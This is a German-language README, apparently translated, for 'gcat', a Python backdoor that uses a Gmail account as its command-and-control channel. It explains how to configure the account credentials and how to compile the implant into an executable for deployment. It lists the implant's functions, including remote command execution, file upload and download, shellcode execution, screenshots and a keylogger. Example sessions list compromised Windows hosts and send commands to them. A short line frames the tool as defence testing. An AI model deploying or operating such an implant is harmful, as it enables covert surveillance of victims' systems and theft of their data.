
Eine PoC-Backdoor, die Gmail als C&C-Server nutzt.
Ein heimlicher, auf Python basierender Backdoor, der Gmail als Command-and-Control-Server nutzt
Dieses Projekt wurde vom ursprünglichen PoC-Code von Benjamin Donnelly inspiriert
... der für Organisationen veröffentlicht wurde, um ihre Verteidigung gegen diese Art von Angriffen zu testen. Um solche Angriffe zu erkennen, siehe Projekte wie RITA
Für eine aktuellere und gewartete Version dieses Projekts siehe GDog
Damit das funktioniert, benötigst du:
Dieses Repo enthält zwei Dateien:
gcat.py ein Skript, das verwendet wird, um verfügbare Clients aufzulisten und Befehle an sie zu sendenimplant.py der eigentliche Backdoor, der eingesetzt werden sollBearbeite in beiden Dateien die Variablen gmail_user und gmail_pwd mit dem Benutzernamen und dem Passwort des Kontos, das du zuvor eingerichtet hast
Du wirst wahrscheinlich implant.py mit Pyinstaller in eine ausführbare Datei kompilieren wollen
Hinweis: Es wird empfohlen, implant.py mit einer 32-Bit-Python-Installation zu kompilieren
dP
88
.d8888b. .d8888b. .d8888b. d8888P
88' `88 88' `"" 88' `88 88
88. .88 88. ... 88. .88 88
`8888P88 `88888P' `88888P8 dP
.88
d8888P
.__....._ _.....__,
.": o :': ;': o :".
`. `-' .'. .'. `-' .'
`---' `---'
_...----... ... ... ...----..._
.-'__..-''---- `. `"` .' ----'''-..__`-.
'.-' _.--''' `-._.-' ''''--._ `-.`
' .-"' : `"-. `
' `. _.'"'._ .' `
`. ,.-'" "'-., .'
`. .'
jgs `-._ _.-'
`"'--...___...--'"`
...IM IN YUR COMPUTERZ...
WATCHIN YUR SCREENZ
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-id ID Client to target
-jobid JOBID Job id to retrieve
-list List available clients
-info Retrieve info on specified client
Commands:
Commands to execute on an implant
-cmd CMD Execute a system command
-download PATH Download a file from a clients system
-upload SRC DST Upload a file to the clients system
-exec-shellcode FILE Execute supplied shellcode on a client
-screenshot Take a screenshot
-lock-screen Lock the clients screen
-force-checkin Force a check in
-start-keylogger Start keylogger
-stop-keylogger Stop keylogger
Meow!
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
Die Ausgabe ist eine UUID-Zeichenkette, die das System und das Betriebssystem, auf dem das Implant läuft, eindeutig identifiziert
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
Hier weisen wir 90b2cd83-cb36-52de-84ee-99db6ff41a11 an, ipconfig /all auszuführen; das Skript gibt dann die jobid aus, die wir verwenden können, um die Ausgabe dieses Befehls abzurufen
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration
Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
-- SNIP --